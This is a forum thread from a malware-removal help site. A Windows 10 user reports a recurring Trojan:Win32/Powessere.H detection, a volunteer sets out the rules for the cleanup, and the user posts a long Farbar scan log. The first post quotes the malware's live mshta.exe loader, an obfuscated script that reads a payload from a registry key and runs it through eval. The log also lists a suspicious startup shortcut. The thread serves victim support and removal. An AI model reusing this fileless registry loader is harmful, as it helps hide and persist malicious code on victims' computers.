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Trojan:Win32/Powessere.H


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12 replies to this topic

#1 EddieLizzard

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Posted 15 April 2018 - 09:29 AM

Hello,

 

I am using Windows Defender and am receiving warning of a Trojan that is quarantined at each start up.  I have run a full scan but the problem persists.

 

The details shown on Defender are:

 

Trojan:Win32/Powessere.H

Alert level: Severe

Date:15/04/2018

 

Recommended action: Remove the threat now.

 

Category: Trojan

 

Details: This program is dangerous and executes commands from an attacker.

 

Affected items: 

CmdLine: \Device\HarddiskVolume4\Windows\System32\mshta.exe "mshta.exe" "about:<script>F8cU0b="ZhHds39L";E1K=new ActiveXObject("WScript.Shell");CV8Mx4k="ZVnBRLZ";l09CZP=E1K.RegRead("HKCU\\software\\ybjmdjzyy\\ehlf");Ihz9Lf="W3P";this['ev'+'al'](l09CZP);zPOjU7w7="6oACvIvN";</script>"

 

Any help you can give would be appreciated.


Edited by hamluis, 15 April 2018 - 01:40 PM.
Moved to MRL per request - Hamluis.


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#2 Aura

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Posted 15 April 2018 - 01:08 PM

Hi EddieLizzard :)

My name is Aura and I'll be assisting you with your malware issue. Since we'll be working together, you can call me Aura or Yoan, which is my real name, it's up to you! Now that we've broke the ice, I'll just ask you a few things during the time we'll be working together to clean your system and get it back to an operational state.
  • As you'll notice, the logs we are asking for here are quite lenghty, so it's normal for me to not reply exactly after you post them. This is because I need some time to analyse them and then act accordingly. However, I'll always reply within 24 hours, 48 hours at most if something unexpected happens
  • As long as I'm assisting you on BleepingComputer, in this thread, I'll ask you to not seek assistance anywhere else for any issue related to the system we are working on. If you have an issue, question, etc. about your computer, please ask it in this thread and I'll assist you
  • The same principle applies to any modifications you make to your system, I would like you to ask me before you do any manipulations that aren't in the instructions I posted. This is to ensure that we are operating in sync and I know exactly what's happening on your system
  • If you aren't sure about an instruction I'm giving you, ask me about it. This is to ensure that the clean-up process goes without any issue. I'll answer you and even give you more precise instructions/explanations if you need. There's no shame in asking questions here, better be safe than sorry!
  • If you don't reply to your thread within 3 days, I'll bump this thread to let you know that I'm waiting for you. If you don't reply after 5 days, it'll be closed. If you return after that period, you can send me a PM to get it unlocked and we'll continue where we left off
  • Since malware can work quickly, we want to get rid of them as fast as we can, before they make unknown changes to the system. This being said, I would appreciate if you could reply to this thread within 24 hours of me posting. This way, we'll have a good clean-up rhythm and the chances of complications will be reduced
  • I'm against any form of pirated, illegal and counterfeit software and material. So if you have any installed on your system, I'll ask you to uninstall them right now. You don't have to tell me if you indeed had some or not, I'll give you the benefit of the doubt. Plus, this would be against BleepingComputer's rules
  • In the end, you are the one asking for assistance here. So if you wish to go a different way during the clean-up, like format and reinstall Windows, you are free to do so. I would appreciate you to let me know about it first, and if you need, I can also assist you in the process
  • I would appreciate if you were to stay with me until the end, which means, until I declare your system clean. Just because your system isn't behaving weirdly anymore, or is running better than before, it doesn't mean that the infection is completely gone
    This being said, I have a full time job so sometimes it'll take longer for me to reply to you. Don't worry, you'll be my first priority as soon as I get home and have time to look at your thread
This being said, it's time to clean-up some malware, so let's get started, shall we? :)

Follow the instructions in the thread below, and provide me both FRST logs (FRST.txt and Addition.txt). You can attach them in your next post, or copy/paste their content.

https://www.bleepingcomputer.com/forums/topic34773.html

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#3 EddieLizzard

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Posted 16 April 2018 - 02:44 AM

Hi Yoan,

 

Thanks for helping.  The reports are below.

 

 

Scan result of Farbar Recovery Scan Tool (FRST) (x64) Version: 15.04.2018
Ran by owner (administrator) on HP (16-04-2018 08:36:57)
Running from C:\Users\owner\Desktop
Loaded Profiles: owner (Available Profiles: owner)
Platform: Windows 10 Home Version 1709 16299.309 (X64) Language: English (United Kingdom)
Internet Explorer Version 11 (Default browser: Edge)
Boot Mode: Normal
Tutorial for Farbar Recovery Scan Tool: http://www.geekstogo.com/forum/topic/335081-frst-tutorial-how-to-use-farbar-recovery-scan-tool/
==================== Processes (Whitelisted) =================
(If an entry is included in the fixlist, the process will be closed. The file will not be moved.)
(Intel Corporation) C:\Windows\System32\igfxCUIService.exe
(HP) C:\Windows\System32\HP3DDGService.exe
(Hewlett-Packard Company) C:\Windows\System32\hpservice.exe
(Realtek Semiconductor) C:\Program Files\Realtek\Audio\HDA\RTKAUDIOSERVICE64.EXE
(Microsoft Corporation) C:\Windows\System32\wlanext.exe
(Andrea Electronics Corporation) C:\Program Files\Realtek\Audio\HDA\AERTSr64.exe
(Intel® Corporation) C:\Program Files\Intel\iCLS Client\HeciServer.exe
(Apple Inc.) C:\Program Files\Common Files\Apple\Mobile Device Support\AppleMobileDeviceService.exe
(Apple Inc.) C:\Program Files\Bonjour\mDNSResponder.exe
(Hewlett-Packard Development Company, L.P.) C:\Program Files (x86)\Hewlett-Packard\HP System Event\HPWMISVC.exe
(Synaptics Incorporated) C:\Program Files\Synaptics\SynTP\SynTPEnhService.exe
(Sony) C:\Program Files\Sony\Xperia Companion\Service\XperiaCompanionService.exe
(Apple Inc.) C:\Program Files\iPod\bin\iPodService.exe
(CyberLink) C:\Program Files (x86)\CyberLink\PowerDVD12\Kernel\DMS\CLMSMonitorServicePDVD12.exe
(Hewlett-Packard Company) C:\Program Files (x86)\Hewlett-Packard\Shared\hpqwmiex.exe
(Hewlett-Packard Company) C:\Program Files (x86)\Hewlett-Packard\HP Support Framework\HPSA_Service.exe
(Intel Corporation) C:\Program Files\Intel\Intel® Rapid Storage Technology\IAStorDataMgrSvc.exe
(Intel Corporation) C:\Program Files (x86)\Intel\Intel® Management Engine Components\FWService\IntelMeFWService.exe
(Intel Corporation) C:\Program Files (x86)\Intel\Intel® Management Engine Components\DAL\Jhi_service.exe
(Intel Corporation) C:\Program Files (x86)\Intel\Intel® Management Engine Components\LMS\LMS.exe
(Microsoft Corporation) C:\Windows\Microsoft.NET\Framework64\v3.0\WPF\PresentationFontCache.exe
(Microsoft Corporation) C:\Windows\System32\dllhost.exe
(Microsoft Corporation) C:\Program Files\Microsoft Office 15\ClientX64\officeclicktorun.exe
(Microsoft Corporation) C:\ProgramData\Microsoft\Windows Defender\Platform\4.14.17613.18039-0\MsMpEng.exe
(Microsoft Corporation) C:\ProgramData\Microsoft\Windows Defender\Platform\4.14.17613.18039-0\NisSrv.exe
(CyberLink) C:\Program Files (x86)\CyberLink\PowerDVD12\Kernel\DMS\CLMSServerPDVD12.exe
(Synaptics Incorporated) C:\Program Files\Synaptics\SynTP\SynTPEnh.exe
(Intel Corporation) C:\Windows\System32\igfxEM.exe
(Intel Corporation) C:\Windows\System32\igfxHK.exe
() C:\Windows\System32\igfxTray.exe
(Synaptics Incorporated) C:\Program Files\Synaptics\SynTP\SynTPHelper.exe
(Realtek Semiconductor) C:\Program Files\Realtek\Audio\HDA\RAVBg64.exe
(CyberLink) C:\Program Files (x86)\CyberLink\Power2Go8\CLMLSvc_P2G8.exe
(Microsoft Corporation) C:\Program Files\Windows Defender\MSASCuiL.exe
(Realtek Semiconductor) C:\Program Files\Realtek\Audio\HDA\RtkNGUI64.exe
(Apple Inc.) C:\Program Files\iTunes\iTunesHelper.exe
(Apple Inc.) C:\Program Files (x86)\Common Files\Apple\Internet Services\iCloudServices.exe
(Sony) C:\Program Files (x86)\Sony\Xperia Companion\XperiaCompanionAgent.exe
(Cisco) C:\Users\owner\AppData\Local\Cisco\VideoGuardPlayer\VideoGuardMonitor\CiscoVideoGuardMonitor.exe
(CyberLink Corp.) C:\Program Files (x86)\CyberLink\YouCam\YouCamService.exe
(Apple Inc.) C:\Program Files (x86)\Common Files\Apple\Apple Application Support\APSDaemon.exe
(Microsoft Corporation) C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
(Microsoft Corporation) C:\Windows\System32\browser_broker.exe
(Microsoft Corporation) C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
(Microsoft Corporation) C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
(Microsoft Corporation) C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
(Microsoft Corporation) C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
(Microsoft Corporation) C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
(Microsoft Corporation) C:\Windows\System32\dllhost.exe
(Microsoft Corporation) C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
(Microsoft Corporation) C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
(Microsoft Corporation) C:\Windows\System32\dllhost.exe
() C:\Program Files\WindowsApps\Microsoft.SkypeApp_12.1811.248.1000_x64__kzf8qxf38zg5c\SkypeHost.exe
(Microsoft Corporation) C:\Windows\System32\smartscreen.exe
(Microsoft Corporation) C:\Windows\System32\dllhost.exe
==================== Registry (Whitelisted) ===========================
(If an entry is included in the fixlist, the registry item will be restored to default or removed. The file will not be moved.)
HKLM\...\Run: [SecurityHealth] => C:\Program Files\Windows Defender\MSASCuiL.exe [630168 2017-09-29] (Microsoft Corporation)
HKLM\...\Run: [RTHDVCPL] => C:\Program Files\Realtek\Audio\HDA\RtkNGUI64.exe [7188552 2013-05-28] (Realtek Semiconductor)
HKLM\...\Run: [IgfxTray] => C:\Windows\system32\igfxtray.exe [393200 2017-10-20] ()
HKLM\...\Run: [Windows Mobile Device Center] => C:\WINDOWS\WindowsMobile\wmdc.exe [660360 2007-05-31] (Microsoft Corporation)
HKLM\...\Run: [iTunesHelper] => C:\Program Files\iTunes\iTunesHelper.exe [298296 2018-01-22] (Apple Inc.)
HKLM\...\Run: [WindowsDefender] => C:\Program Files\Windows Defender\MSASCuiL.exe [630168 2017-09-29] (Microsoft Corporation)
HKLM-x32\...\Run: [YouCam Service] => C:\Program Files (x86)\CyberLink\YouCam\YouCamService.exe [267224 2013-05-22] (CyberLink Corp.)
HKLM-x32\...\Run: [APSDaemon] => C:\Program Files (x86)\Common Files\Apple\Apple Application Support\APSDaemon.exe [67896 2018-01-05] (Apple Inc.)
HKLM-x32\...\Run: [HPMessageService] => C:\Program Files (x86)\Hewlett-Packard\HP System Event\HPMSGSVC.exe [1045304 2013-10-08] (Hewlett-Packard Development Company, L.P.)
HKLM-x32\...\Run: [HP Software Update] => C:\Program Files (x86)\Hp\HP Software Update\HPWuSchd2.exe [96056 2013-05-30] (Hewlett-Packard)
HKLM-x32\...\Run: [CanonQuickMenu] => C:\Program Files (x86)\Canon\Quick Menu\CNQMMAIN.EXE [1273448 2012-04-03] (CANON INC.)
HKLM-x32\...\Run: [IJNetworkScannerSelectorEX] => C:\Program Files (x86)\Canon\IJ Network Scanner Selector EX\CNMNSST.exe [449168 2012-03-26] (CANON INC.)
HKU\S-1-5-21-685160351-2209658244-3524408110-1001\...\Run: [Power2GoExpress8] => C:\Program Files (x86)\CyberLink\Power2Go8\Power2GoExpress8.exe [1714952 2013-10-16] (CyberLink Corp.)
HKU\S-1-5-21-685160351-2209658244-3524408110-1001\...\Run: [iCloudServices] => C:\Program Files (x86)\Common Files\Apple\Internet Services\iCloudServices.exe [67384 2018-01-10] (Apple Inc.)
HKU\S-1-5-21-685160351-2209658244-3524408110-1001\...\Run: [XperiaCompanionAgent] => C:\Program Files (x86)\Sony\Xperia Companion\XperiaCompanionAgent.exe [2105728 2017-05-31] (Sony)
HKU\S-1-5-21-685160351-2209658244-3524408110-1001\...\Run: [VideoGuardMonitor] => C:\Users\owner\AppData\Local\Cisco\VideoGuardPlayer\VideoGuardMonitor\CiscoVideoGuardMonitor.exe [2345736 2017-11-02] (Cisco)
Startup: C:\Users\owner\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\7787.lnk [2017-05-28]
ShortcutTarget: 7787.lnk -> C:\Users\owner\AppData\Local\05ad\9147.bd001 ()
Startup: C:\Users\owner\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Send to OneNote.lnk [2017-04-16]
ShortcutTarget: Send to OneNote.lnk -> C:\Program Files\Microsoft Office 15\root\office15\onenotem.exe (Microsoft Corporation)
==================== Internet (Whitelisted) ====================
(If an item is included in the fixlist, if it is a registry item it will be removed or restored to default.)
Tcpip\Parameters: [DhcpNameServer] 194.168.4.100 194.168.8.100
Tcpip\..\Interfaces\{1f617e09-9478-480f-ab28-774738d38ca6}: [DhcpNameServer] 194.168.4.100 194.168.8.100
Tcpip\..\Interfaces\{8d7c23e5-dae5-47b4-a0be-dd30bd8b7003}: [DhcpNameServer] 194.168.4.100 194.168.8.100
Internet Explorer:
==================
HKLM\Software\Microsoft\Internet Explorer\Main,Start Page = hxxp://g.uk.msn.com/HPNOT13/2
HKLM\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = hxxp://g.uk.msn.com/HPNOT13/2
HKU\S-1-5-21-685160351-2209658244-3524408110-1001\Software\Microsoft\Internet Explorer\Main,Start Page = hxxp://www.bbc.co.uk/
HKU\S-1-5-21-685160351-2209658244-3524408110-1001\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = hxxp://g.uk.msn.com/HPNOT13/2
SearchScopes: HKLM -> {D944BB61-2E34-4DBF-A683-47E505C587DC} URL = hxxp://rover.ebay.com/rover/1/710-29550-11896-25/4 ?mpre=http%3A%2F%2Fwww.ebay.com%2Fsch%2F%3F_nkw%3D{searchTerms}&keyword={searchTerms}
SearchScopes: HKLM -> {FE8AC6E5-2D42-46BC-B4BE-9AEE649D4B16} URL = hxxp://www.amazon.co.uk/s/ref=azs_osd_ieauk?ie=UTF-8&tag=hp-uk3-vsb-21&link%5Fcode=qs&index=aps&field-keywords={searchTerms}
SearchScopes: HKLM-x32 -> {D944BB61-2E34-4DBF-A683-47E505C587DC} URL = hxxp://rover.ebay.com/rover/1/710-29550-11896-25/4 ?mpre=http%3A%2F%2Fwww.ebay.com%2Fsch%2F%3F_nkw%3D{searchTerms}&keyword={searchTerms}
SearchScopes: HKU\.DEFAULT -> DefaultScope {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL =
SearchScopes: HKU\S-1-5-21-685160351-2209658244-3524408110-1001 -> {D944BB61-2E34-4DBF-A683-47E505C587DC} URL = hxxp://rover.ebay.com/rover/1/710-29550-11896-25/4 ?mpre=http%3A%2F%2Fwww.ebay.com%2Fsch%2F%3F_nkw%3D{searchTerms}&keyword={searchTerms}
BHO: Skype for Business Browser Helper -> {31D09BA0-12F5-4CCE-BE8A-2923E76605DA} -> C:\Program Files\Microsoft Office 15\root\VFS\ProgramFilesX64\Microsoft Office\Office15\OCHelper.dll [2018-04-10] (Microsoft Corporation)
BHO: Canon Easy-WebPrint EX BHO -> {3785D0AD-BFFF-47F6-BF5B-A587C162FED9} -> C:\Program Files\Canon\Easy-WebPrint EX\ewpexbho.dll [2015-02-23] (CANON INC.)
BHO: Microsoft SkyDrive Pro Browser Helper -> {D0498E0A-45B7-42AE-A9AA-ABA463DBD3BF} -> C:\Program Files\Microsoft Office 15\root\VFS\ProgramFilesX64\Microsoft Office\Office15\GROOVEEX.DLL [2018-04-10] (Microsoft Corporation)
BHO-x32: Canon Easy-WebPrint EX BHO -> {3785D0AD-BFFF-47F6-BF5B-A587C162FED9} -> C:\Program Files (x86)\Canon\Easy-WebPrint EX\ewpexbho.dll [2015-02-23] (CANON INC.)
Toolbar: HKLM - Canon Easy-WebPrint EX - {759D9886-0C6F-4498-BAB6-4A5F47C6C72F} - C:\Program Files\Canon\Easy-WebPrint EX\ewpexhlp.dll [2015-02-23] (CANON INC.)
Toolbar: HKLM-x32 - Canon Easy-WebPrint EX - {759D9886-0C6F-4498-BAB6-4A5F47C6C72F} - C:\Program Files (x86)\Canon\Easy-WebPrint EX\ewpexhlp.dll [2015-02-23] (CANON INC.)
Toolbar: HKU\S-1-5-21-685160351-2209658244-3524408110-1001 -> No Name - {7FEBEFE3-6B19-4349-98D2-FFB09D4B49CA} -  No File
DPF: HKLM-x32 {55A2C0CD-3DE8-4264-9637-A0B40B05714E} hxxps://col0-sec.mail.live.com/mail/MailMigrationCabFileHolder.aspx?n=1696728408
DPF: HKLM-x32 {8FFBE65D-2C9C-4669-84BD-5829DC0B603C} hxxp://fpdownload.macromedia.com/get/flashplayer/current/ultrashim.cab
Handler-x32: osf - {D924BDC6-C83A-4BD5-90D0-095128A113D1} - C:\Program Files\Microsoft Office 15\root\Office15\MSOSB.DLL [2017-10-18] (Microsoft Corporation)
Edge:
======
Edge HomeButtonPage: HKU\S-1-5-21-685160351-2209658244-3524408110-1001 -> hxxp://www.bbc.co.uk/
FireFox:
========
FF DefaultProfile: 60yijpxo.default
FF ProfilePath: C:\Users\owner\AppData\Roaming\Mozilla\Firefox\Profiles\60yijpxo.default [2018-04-10]
FF Homepage: Mozilla\Firefox\Profiles\60yijpxo.default -> hxxp://www.bbc.co.uk/
FF Extension: (Adblock Plus) - C:\Users\owner\AppData\Roaming\Mozilla\Firefox\Profiles\60yijpxo.default\Extensions\{d10d0bf8-f5b5-c8b4-a8b2-2b9879e08c5d}.xpi [2017-12-30]
FF Plugin: @adobe.com/FlashPlayer -> C:\WINDOWS\system32\Macromed\Flash\NPSWF64_29_0_0_140.dll [2018-04-10] ()
FF Plugin: @Microsoft.com/NpCtrl,version=1.0 -> c:\Program Files\Microsoft Silverlight\5.1.50907.0\npctrl.dll [2017-05-03] ( Microsoft Corporation)
FF Plugin-x32: @adobe.com/FlashPlayer -> C:\WINDOWS\SysWOW64\Macromed\Flash\NPSWF32_29_0_0_140.dll [2018-04-10] ()
FF Plugin-x32: @adobe.com/ShockwavePlayer -> C:\windows\SysWOW64\Adobe\Director\np32dsw_1202122.dll [2013-04-03] (Adobe Systems, Inc.)
FF Plugin-x32: @canon.com/EPPEX -> C:\Program Files (x86)\Canon\My Image Garden\AddOn\CIG\npmigfpi.dll [2011-11-30] (CANON INC.)
FF Plugin-x32: @intel-webapi.intel.com/Intel WebAPI ipt;version=3.5.29 -> C:\Program Files (x86)\Intel\Intel® Management Engine Components\IPT\npIntelWebAPIIPT.dll [2013-05-08] (Intel Corporation)
FF Plugin-x32: @intel-webapi.intel.com/Intel WebAPI updater -> C:\Program Files (x86)\Intel\Intel® Management Engine Components\IPT\npIntelWebAPIUpdater.dll [2013-05-08] (Intel Corporation)
FF Plugin-x32: @Microsoft.com/NpCtrl,version=1.0 -> c:\Program Files (x86)\Microsoft Silverlight\5.1.50907.0\npctrl.dll [2017-05-03] ( Microsoft Corporation)
FF Plugin-x32: @microsoft.com/SharePoint,version=14.0 -> C:\Program Files\Microsoft Office 15\root\Office15\NPSPWRAP.DLL [2013-12-26] (Microsoft Corporation)
FF Plugin-x32: @microsoft.com/WLPG,version=16.4.3528.0331 -> C:\Program Files (x86)\Windows Live\Photo Gallery\NPWLPG.dll [2014-03-31] (Microsoft Corporation)
FF Plugin-x32: Adobe Reader -> C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AIR\nppdf32.dll [2018-02-11] (Adobe Systems Inc.)
==================== Services (Whitelisted) ====================
(If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)
R2 Apple Mobile Device Service; C:\Program Files\Common Files\Apple\Mobile Device Support\AppleMobileDeviceService.exe [83768 2018-01-05] (Apple Inc.)
R2 ClickToRunSvc; C:\Program Files\Microsoft Office 15\ClientX64\OfficeClickToRun.exe [3058392 2017-12-12] (Microsoft Corporation)
R2 CyberLink PowerDVD 12 Media Server Monitor Service; C:\Program Files (x86)\CyberLink\PowerDVD12\Kernel\DMS\CLMSMonitorServicePDVD12.exe [77576 2013-09-05] (CyberLink)
R2 CyberLink PowerDVD 12 Media Server Service; C:\Program Files (x86)\CyberLink\PowerDVD12\Kernel\DMS\CLMSServerPDVD12.exe [298760 2013-09-05] (CyberLink)
R2 HP Support Assistant Service; C:\Program Files (x86)\Hewlett-Packard\HP Support Framework\hpsa_service.exe [92160 2013-06-07] (Hewlett-Packard Company) [File not signed]
R2 hp3ddgsrv; C:\WINDOWS\system32\HP3DDGService.exe [130072 2017-10-03] (HP)
R2 HPWMISVC; c:\Program Files (x86)\Hewlett-Packard\HP System Event\HPWMISVC.exe [1039160 2013-10-08] (Hewlett-Packard Development Company, L.P.)
R2 IAStorDataMgrSvc; C:\Program Files\Intel\Intel® Rapid Storage Technology\IAStorDataMgrSvc.exe [15344 2013-04-30] (Intel Corporation)
R2 igfxCUIService2.0.0.0; C:\WINDOWS\system32\igfxCUIService.exe [365040 2017-10-20] (Intel Corporation)
R2 Intel® Capability Licensing Service Interface; C:\Program Files\Intel\iCLS Client\HeciServer.exe [731648 2013-02-13] (Intel® Corporation) [File not signed]
S3 Intel® Capability Licensing Service TCP IP Interface; C:\Program Files\Intel\iCLS Client\SocketHeciServer.exe [820184 2013-02-13] (Intel® Corporation)
R2 Intel® ME Service; C:\Program Files (x86)\Intel\Intel® Management Engine Components\FWService\IntelMeFWService.exe [131544 2013-05-08] (Intel Corporation)
R2 jhi_service; C:\Program Files (x86)\Intel\Intel® Management Engine Components\DAL\jhi_service.exe [169432 2013-05-08] (Intel Corporation)
S2 MBAMService; C:\Program Files (x86)\Malwarebytes Anti-Malware\mbamservice.exe [1135416 2015-10-05] (Malwarebytes)
R2 RtkAudioService; C:\Program Files\Realtek\Audio\HDA\RtkAudioService64.exe [245832 2013-05-17] (Realtek Semiconductor)
R2 SynTPEnhService; C:\Program Files\Synaptics\SynTP\SynTPEnhService.exe [278616 2017-08-18] (Synaptics Incorporated)
R3 WdNisSvc; C:\ProgramData\Microsoft\Windows Defender\platform\4.14.17613.18039-0\NisSrv.exe [4633248 2018-04-15] (Microsoft Corporation)
R2 WinDefend; C:\ProgramData\Microsoft\Windows Defender\platform\4.14.17613.18039-0\MsMpEng.exe [104680 2018-04-15] (Microsoft Corporation)
R2 XperiaCompanionService; C:\Program Files\Sony\Xperia Companion\Service\XperiaCompanionService.exe [2205568 2017-05-31] (Sony)
===================== Drivers (Whitelisted) ======================
(If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)
R3 Accelerometer; C:\WINDOWS\system32\DRIVERS\Accelerometer.sys [53760 2017-12-18] (HP)
R1 CLVirtualDrive; C:\WINDOWS\system32\DRIVERS\CLVirtualDrive.sys [91712 2013-03-05] (CyberLink)
S3 dg_ssudbus; C:\WINDOWS\system32\DRIVERS\ssudbus.sys [131712 2016-09-05] (Samsung Electronics Co., Ltd.)
R0 hpdskflt; C:\WINDOWS\System32\DRIVERS\hpdskflt.sys [39936 2017-12-18] (HP)
R3 MBAMProtector; C:\WINDOWS\system32\drivers\mbam.sys [25816 2015-10-05] (Malwarebytes)
S3 MBAMWebAccessControl; C:\WINDOWS\system32\drivers\mwac.sys [64216 2015-10-05] (Malwarebytes Corporation)
R3 MEIx64; C:\WINDOWS\system32\DRIVERS\TeeDriverx64.sys [99288 2013-12-19] (Intel Corporation)
R1 MpKsl47fc00dd; C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{5926F2A1-8E6A-441D-A6E3-69444586751B}\MpKsl47fc00dd.sys [58120 2018-03-28] (Microsoft Corporation)
R1 MpKsla65801db; C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{F6F50C1B-07FA-4648-BD83-C6675C1F885D}\MpKsla65801db.sys [58120 2018-03-29] (Microsoft Corporation)
R3 RTWlanE; C:\WINDOWS\system32\DRIVERS\rtwlane.sys [6804480 2017-05-03] (Realtek Semiconductor Corporation )
S3 SmbDrv; C:\WINDOWS\System32\drivers\Smb_driver_AMDASF.sys [29424 2013-04-24] (Synaptics Incorporated)
R3 SmbDrvI; C:\WINDOWS\system32\DRIVERS\Smb_driver_Intel.sys [52904 2016-04-28] (Synaptics Incorporated)
S3 ssudmdm; C:\WINDOWS\system32\DRIVERS\ssudmdm.sys [165504 2016-09-05] (Samsung Electronics Co., Ltd.)
S0 WdBoot; C:\WINDOWS\System32\drivers\wd\WdBoot.sys [46072 2018-04-15] (Microsoft Corporation)
R0 WdFilter; C:\WINDOWS\System32\drivers\wd\WdFilter.sys [311848 2018-04-15] (Microsoft Corporation)
R3 WdNisDrv; C:\WINDOWS\System32\drivers\wd\WdNisDrv.sys [60456 2018-04-15] (Microsoft Corporation)
R3 WirelessButtonDriver64; C:\WINDOWS\system32\DRIVERS\WirelessButtonDriver64.sys [30392 2017-04-25] (HP)
==================== NetSvcs (Whitelisted) ===================
(If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)

==================== One Month Created files and folders ========
(If an entry is included in the fixlist, the file/folder will be moved.)
2018-04-16 08:36 - 2018-04-16 08:37 - 000019078 _____ C:\Users\owner\Desktop\FRST.txt
2018-04-16 08:31 - 2018-04-16 08:31 - 000000000 ____D C:\Users\owner\Desktop\FRST64
2018-04-16 08:12 - 2018-04-16 08:36 - 000000000 ____D C:\FRST
2018-04-16 08:10 - 2018-04-16 08:10 - 002403328 _____ (Farbar) C:\Users\owner\Desktop\FRST64.exe
2018-04-11 12:24 - 2018-04-11 12:24 - 000000000 ___HD C:\OneDriveTemp
2018-04-10 19:35 - 2018-04-10 19:35 - 000000000 ____D C:\Program Files (x86)\ESET
2018-04-10 19:33 - 2018-04-10 19:33 - 002870984 _____ (ESET) C:\Users\owner\Desktop\esetsmartinstaller_enu.exe
==================== One Month Modified files and folders ========
(If an entry is included in the fixlist, the file/folder will be moved.)
2018-04-16 08:15 - 2017-09-29 14:46 - 000000000 ___HD C:\Program Files\WindowsApps
2018-04-16 08:15 - 2017-09-29 14:46 - 000000000 ____D C:\WINDOWS\DeliveryOptimization
2018-04-16 08:15 - 2017-09-29 14:46 - 000000000 ____D C:\WINDOWS\AppReadiness
2018-04-16 08:03 - 2017-09-29 14:37 - 000000000 ____D C:\WINDOWS\CbsTemp
2018-04-16 08:03 - 2013-12-20 11:10 - 000000000 ____D C:\Users\owner\Documents\Youcam
2018-04-16 08:02 - 2017-06-30 12:41 - 000000180 _____ C:\WINDOWS\system32\{A6D608F0-0BDE-491A-97AE-5C4B05D86E01}.bat
2018-04-16 08:02 - 2014-09-29 21:28 - 000000000 __SHD C:\Users\owner\IntelGraphicsProfiles
2018-04-15 15:27 - 2018-02-25 11:13 - 000000000 ____D C:\WINDOWS\system32\Drivers\wd
2018-04-15 15:16 - 2014-01-04 20:16 - 000000000 ____D C:\WINDOWS\system32\MRT
2018-04-15 15:12 - 2017-12-22 15:58 - 000004140 _____ C:\WINDOWS\System32\Tasks\User_Feed_Synchronization-{EB615A3C-5916-4E42-97D3-A19466530B4A}
2018-04-12 11:22 - 2017-09-29 14:44 - 000000000 ____D C:\WINDOWS\INF
2018-04-12 11:21 - 2017-09-29 14:46 - 000000000 ____D C:\WINDOWS\LiveKernelReports
2018-04-12 11:12 - 2017-10-12 10:42 - 136971704 ____C (Microsoft Corporation) C:\WINDOWS\system32\MRT-KB890830.exe
2018-04-12 11:11 - 2014-01-04 20:16 - 136971704 ____C (Microsoft Corporation) C:\WINDOWS\system32\MRT.exe
2018-04-11 12:25 - 2014-05-29 10:23 - 000000000 __RDL C:\Users\owner\OneDrive
2018-04-11 12:21 - 2017-12-22 15:54 - 000003350 _____ C:\WINDOWS\System32\Tasks\OneDrive Standalone Update Task-S-1-5-21-685160351-2209658244-3524408110-1001
2018-04-11 12:21 - 2016-05-25 08:56 - 000002370 _____ C:\Users\owner\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\OneDrive.lnk
2018-04-10 19:35 - 2016-02-08 19:02 - 000192216 _____ (Malwarebytes) C:\WINDOWS\system32\Drivers\MBAMSwissArmy.sys
2018-04-10 19:34 - 2017-01-03 16:17 - 000000000 ____D C:\Users\owner\AppData\LocalLow\Mozilla
2018-04-10 19:34 - 2016-12-25 21:07 - 000000000 ____D C:\Program Files (x86)\Mozilla Firefox
2018-04-10 19:34 - 2016-10-10 17:52 - 000001235 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Firefox.lnk
2018-04-10 19:34 - 2015-01-11 16:27 - 000000000 ____D C:\Program Files (x86)\Mozilla Maintenance Service
2018-04-10 15:46 - 2018-03-14 10:23 - 000004562 _____ C:\WINDOWS\System32\Tasks\Adobe Flash Player NPAPI Notifier
2018-04-10 15:46 - 2017-12-22 15:54 - 000004422 _____ C:\WINDOWS\System32\Tasks\Adobe Flash Player Updater
2018-04-10 15:46 - 2017-09-29 14:46 - 000000000 ____D C:\WINDOWS\SysWOW64\Macromed
2018-04-10 15:46 - 2017-09-29 14:46 - 000000000 ____D C:\WINDOWS\system32\Macromed
2018-04-10 15:46 - 2014-04-05 12:57 - 000000000 ____D C:\Users\owner\AppData\Local\Adobe
2018-04-10 11:11 - 2017-09-29 14:46 - 000000000 ____D C:\ProgramData\regid.1991-06.com.microsoft
2018-04-10 11:10 - 2013-12-26 09:49 - 000000000 ____D C:\Program Files\Microsoft Office 15
2018-04-10 11:07 - 2013-12-26 17:12 - 000000000 ____D C:\Users\owner\Documents\Podcasts
2018-04-09 10:57 - 2014-06-05 19:22 - 000000000 ____D C:\Users\owner\Documents\Will
2018-04-08 17:43 - 2017-12-22 15:21 - 000000000 ____D C:\WINDOWS\system32\SleepStudy
2018-04-05 19:08 - 2013-12-26 17:46 - 000104448 _____ C:\Users\owner\Documents\DMU.xls
2018-04-03 20:37 - 2018-01-27 15:21 - 000835064 _____ (Adobe Systems Incorporated) C:\WINDOWS\SysWOW64\FlashPlayerApp.exe
2018-04-03 20:37 - 2018-01-27 15:21 - 000179704 _____ (Adobe Systems Incorporated) C:\WINDOWS\SysWOW64\FlashPlayerCPLApp.cpl
